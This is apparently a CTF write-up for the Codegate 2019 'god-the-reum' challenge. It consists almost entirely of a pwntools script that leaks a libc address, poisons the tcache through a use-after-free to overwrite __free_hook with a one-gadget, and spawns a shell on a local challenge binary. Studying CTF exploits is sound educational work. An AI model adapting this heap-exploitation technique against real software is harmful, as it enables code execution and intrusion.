[Codegate 2019] got-the-reum

펑펑펑펑펑

from pwn import *

s = process("./god-the-reum")

libc = ELF('./libc')

elf = ELF("./god-the-reum")

def create(number):

s.recvuntil(" : ")

s.sendline("1")

s.recvuntil("how much initial eth? : ")

s.sendline(str(number))

def deposit(index, deposit):

s.recvuntil(" : ")

s.sendline("2")

s.recvuntil("input wallet no : ")

s.sendline(str(index))

s.recvuntil("how much deposit? : ")

s.sendline(str(deposit))

def withdraw(index, withdraw):

s.recvuntil(" : ")

s.sendline("3")

s.recvuntil("input wallet no : ")

s.sendline(str(index))

s.recvuntil("how much you wanna withdraw? : ")

s.sendline(str(withdraw))

def show():

s.recvuntil(" : ")

s.sendline("4")

def quit():

s.recvuntil(" : ")

s.sendline("5")

def dev(index, content):

s.recvuntil(" : ")

s.sendline("6")

s.recvuntil("input wallet no : ")

s.sendline(str(index))

s.recvuntil("new eth : ")

s.sendline(content)

create(0x30)

create(0x1000)

create(0x1000)

withdraw(1,0x1000)

show()

s.recvuntil("ballance ")

s.recvuntil("ballance ")

leak = int(s.recv(15))

print "leak : " + hex(leak)

libc_base = leak - 0x3ebca0

print "libc_base : " + hex(libc_base)

one_shot = libc_base + 0x10a38c

print "one_shot : " + hex(one_shot)

free_hook = libc_base + libc.symbols['__free_hook']

print "free_hook : " + hex(free_hook)

withdraw(0,0x30)

dev(0,p64(free_hook))

create(0x30)

create(0x30)

dev(4,p64(one_shot))

withdraw(0,48)

s.interactive()